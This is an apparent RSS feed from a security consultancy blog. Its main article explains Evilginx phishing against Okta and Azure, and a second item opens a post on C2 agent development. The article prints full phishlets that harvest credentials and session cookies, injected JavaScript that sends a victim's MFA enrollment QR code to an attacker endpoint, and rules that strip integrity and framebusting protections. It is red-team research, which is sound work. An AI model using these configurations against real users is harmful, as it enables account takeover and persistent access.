<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ethical Hacking - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/ethical-hacking-en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/ethical-hacking-en/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Mon, 25 Aug 2025 07:16:46 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Ethical Hacking - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/ethical-hacking-en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phishing: Pushing Evilginx to its limit</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:33 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26694</guid>

					<description><![CDATA[<p>Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network. Usually, threat actors try to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Phishing attacks <strong>are as old as the Internet</strong>. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.</p>
<p>Usually, threat actors <strong>try to send malicious documents </strong>such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, <strong>these types of techniques are less and less used.</strong></p>
<p>Today, threat actors do not perform phishing to get a direct initial access to the company network, but to <strong>retrieve the digital identity of a user</strong>: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.</p>
<p>To limit such attacks, <strong>companies started enforcing MFA</strong> to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.</p>
<p> </p>
<h2>Phishing 101</h2>
<p> </p>
<h3>IDP, cookies and phishing</h3>
<p>The MFA protection implemented by companies is a<strong> good way to limit the impact </strong>of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.</p>
<p>However, today the MFA is usually <strong>only asked during the first authentication:</strong> once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.</p>
<p>In the most common web IDPs such as Azure, Google or Okta, <strong>this ticket is represented by the cookies.</strong> When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.</p>
<figure id="attachment_26696" aria-describedby="caption-attachment-26696" style="width: 839px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-26696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png" alt="Cookie as session" width="839" height="673" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2.png 1420w" sizes="(max-width: 839px) 100vw, 839px" /><figcaption id="caption-attachment-26696" class="wp-caption-text"><em>Cookie as session</em></figcaption></figure>
<p>In a nutshell, the <strong>user IDP cookies represent the user digital identity</strong>. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.</p>
<p> </p>
<h3>Evilginx</h3>
<h4>Evil proxy</h4>
<p>In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, <strong>the user will be aware that something wrong is happening.</strong></p>
<p>That’s where <strong>Evilginx comes into play</strong>. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: <strong>the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:</strong></p>
<figure id="attachment_26698" aria-describedby="caption-attachment-26698" style="width: 823px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png" alt="Evilgproxy functionning" width="823" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1.png 947w" sizes="(max-width: 823px) 100vw, 823px" /><figcaption id="caption-attachment-26698" class="wp-caption-text"><em>Evilgproxy functionning</em></figcaption></figure>
<p>I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.</p>
<p> </p>
<h4>Phislets 101</h4>
<p>For example, during the authentication to Azure, the following domains are used:</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p>The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.</p>
<p>Evilginx<strong> uses specific configuration files known as phishlets to handle such cases</strong>. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:</p>
<pre>&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With the phishlet, <strong>Evilginx will know that the domain login.microsoftonline.com must be rewritten</strong> and will send back to the target the following modified page:</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With such match and replace pattern, <strong>Evilginx is able to trap the user inside the malicious application</strong> even if the IDP tries to redirect the user to a specific page.</p>
<p> </p>
<h4>Auto-replace limits</h4>
<p>The Evilginx phishlet auto-replace has its limits. Indeed, <strong>sometime the server does not directly hardcode the domain</strong> in the page but builds it through a JS script.</p>
<p>In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.</p>
<p> </p>
<h5>CORS</h5>
<p>In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script <strong>dynamically builds the redirection URL</strong>: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it<strong> fails due to CORS protection</strong> (trying to reach okta.com/idp/idx/introspect from evilginx.com):</p>
<figure id="attachment_26700" aria-describedby="caption-attachment-26700" style="width: 832px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png" alt="Okta CORS error" width="832" height="433" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1.png 849w" sizes="(max-width: 832px) 100vw, 832px" /><figcaption id="caption-attachment-26700" class="wp-caption-text"><em>Okta CORS</em></figcaption></figure>
<p>By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:</p>
<pre><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p>With this simple indication, Evilginx <strong>will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.</strong></p>
<p> </p>
<h5>JS integrity</h5>
<p>When modifying the JS file or any other file through Evilginx, it can <strong>cause troubles due to the script integrity hash:</strong></p>
<pre>&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p>Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.</p>
<figure id="attachment_26702" aria-describedby="caption-attachment-26702" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png" alt="Hash integrity error" width="910" height="100" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1.png 1737w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-26702" class="wp-caption-text"><em>Hash integrity error</em></figcaption></figure>
<p>But, with Evilginx, we can also modify the html page to remove the integrity check:</p>
<pre>Replace: integrity="[^"]*"<br />By: integrity=''<br /><br /></pre>
<h5>Redirect URI validation</h5>
<p>The last point <strong>is the Redirect URI validation</strong>. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:</p>
<pre>/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p>With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.</p>
<p>This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain<em>, </em><strong>Okta will show the following error</strong>:</p>
<figure id="attachment_26704" aria-describedby="caption-attachment-26704" style="width: 175px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-26704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png" alt="Error 400 - Bad Request in Okta" width="175" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1.png 269w" sizes="auto, (max-width: 175px) 100vw, 175px" /><figcaption id="caption-attachment-26704" class="wp-caption-text"><em>Error in Okta</em></figcaption></figure>
<p>The redirect URI is <strong>dynamically built by Okta by taking the login domain</strong> and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:</p>
<p>Using Evilginx, it is <strong>possible to use the match/replace pattern to reset the redirect_uri </strong>to the right URI:</p>
<pre><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /></pre>
<h4>Basic phishlets</h4>
<h5>Okta</h5>
<pre>min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p> </p>
<h5>Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p> </p>
<h2>Automate critical actions</h2>
<p> </p>
<h3>Adding MFA device</h3>
<p>Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.</p>
<p>This is usually done by adding an additional MFA device to the user account.</p>
<p>For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, <strong>as long as the attacker has access to the user session, he is able to directly register his malicious MFA device</strong>.</p>
<p>However, on some IDP such as <strong>Okta, the MFA registration asks for an MFA validation</strong>. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.</p>
<p>What could be interesting is to add this reauthentication step during the phishing attack:</p>
<ol>
<li>The user authenticates a first time to access his session</li>
<li>Evilginx steals the user cookies</li>
<li>Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup</li>
<li>The user revalidates his MFA thinking the first one failed</li>
<li>Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process</li>
</ol>
<p>All these actions <strong>can be automated through Evilginx by modifying the JS scripts.</strong></p>
<p>First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p>This script will <strong>be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page</strong>. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite <strong>redirection loop at the end of his authentication flow…</strong></p>
<p> </p>
<p>Then, <strong>a new JS code is added to the /help/login page</strong>. This script is used to enumerate the available MFA technologies available and configured:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p>The script<strong> chooses the Okta Verify authentication method</strong> and redirects the user to the setup page.</p>
<p> </p>
<p>On the setup page, a new JS script is injected. This JS script is used to <strong>automate the registration steps to only let the MFA validation form</strong><em>:</em></p>
<pre>- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p>Once the user has validated the MFA authentication, <strong>the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.</strong></p>
<p>The attacker can then retrieve the QRCode and enroll his own device.</p>
<p> </p>
<h2>Pushing the limit</h2>
<p> </p>
<h3>Okta with Azure authentication</h3>
<p>Some companies can link two IDP together: <strong>Okta redirects to Azure and provisions the user when they first login.</strong></p>
<p>In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.</p>
<p>The previous phislets <strong>must be merged in order to capture both authentications</strong>. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.</p>
<p>Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:</p>
<pre>&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p>Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.</p>
<p>Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.</p>
<p>In a <strong>nutshell, in this specific case, it is possible to simply merge the two previous phishlets</strong><em>.</em></p>
<p> </p>
<h3>Frame buster</h3>
<p>More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.</p>
<p>The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.</p>
<p>Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:</p>
<figure id="attachment_26707" aria-describedby="caption-attachment-26707" style="width: 864px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png" alt="Browser in browser example" width="864" height="441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1.png 680w" sizes="auto, (max-width: 864px) 100vw, 864px" /><figcaption id="caption-attachment-26707" class="wp-caption-text"><em>Browser in browser example</em></figcaption></figure>
<p>The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.</p>
<p>While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.</p>
<p> </p>
<h4>Self == top</h4>
<p>The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.</p>
<p>With Evilginx, it is possible to remove the check with a simple match and replace pattern:</p>
<pre>Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p>This modification ensures that the iframe is recognized as the top frame.</p>
<p> </p>
<h4>Target=”_top”</h4>
<p>The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.</p>
<p>This can be done by adding the <em>target=”_top” </em>attribute in the form. It is then possible to remove this protection with Evilginx:</p>
<pre><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"<br /><br /></pre>
<h4>Framework specific</h4>
<p>Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.</p>
<p>The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.</p>
<p>In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:</p>
<pre><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}<br /><br /></pre>
<h4>HTTP header</h4>
<p>The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.</p>
<p>It is possible to simply remove this header with Evilginx:</p>
<pre><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test<br /><br /></pre>
<h4>Final phishlet</h4>
<p>The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul>
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Phishing attack example" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Example of browser in browser phishing on a company using Okta/Azure</em></p>
<p> </p>
<p>The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.</p>
<p>But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.</p>
<p>The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.</p>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>LoadLibrary madness: dynamically load WinHTTP.dll</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Wed, 30 Oct 2024 15:52:37 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[Command and Control]]></category>
		<category><![CDATA[Dll]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[WinHTTP]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=24427</guid>

					<description><![CDATA[<p>For the last few weeks, I have been developing a full custom Command and Control (C2). This C2 uses several Windows DLL for network communication and specially the WINHTTP.DLL one to handle HTTP requests used for the HTTP and HTTPS...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/">LoadLibrary madness: dynamically load WinHTTP.dll</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>For the last few weeks, I have been developing a full custom <span style="color: #451dc7;"><em>Command and Control</em></span> (<em><span style="color: #451dc7;">C2</span></em>). This <em><span style="color: #451dc7;">C2</span> </em>uses several <span style="color: #451dc7;"><em>Windows DLL</em></span> for network communication and specially the <span style="color: #451dc7;"><em>WINHTTP.DLL</em></span> one to handle <span style="color: #451dc7;"><em>HTTP</em> </span>requests used for the <em><span style="color: #451dc7;">HTTP</span> </em>and <em><span style="color: #451dc7;">HTTPS</span> </em>listener.</p>
<p>As everyone knows, when developing a <em><span style="color: #451dc7;">C2</span> </em>and the corresponding agent, <span style="color: #451dc7;"><em>OPSEC</em></span> must be the priority, so the agent code must rise as few events (<span style="color: #451dc7;"><em>ETW</em></span>) as possible.</p>
<p>The most common way to increase <span style="color: #451dc7;"><em>OPSEC</em> </span>when using external <span style="color: #451dc7;"><em>DLL</em> </span>is to perform dynamic loading to avoid getting the loaded <span style="color: #451dc7;"><em>DLL</em> </span>name in the source code. This can be done using the <span style="color: #451dc7;"><em>LoadLibrary Win32 API</em></span>.</p>
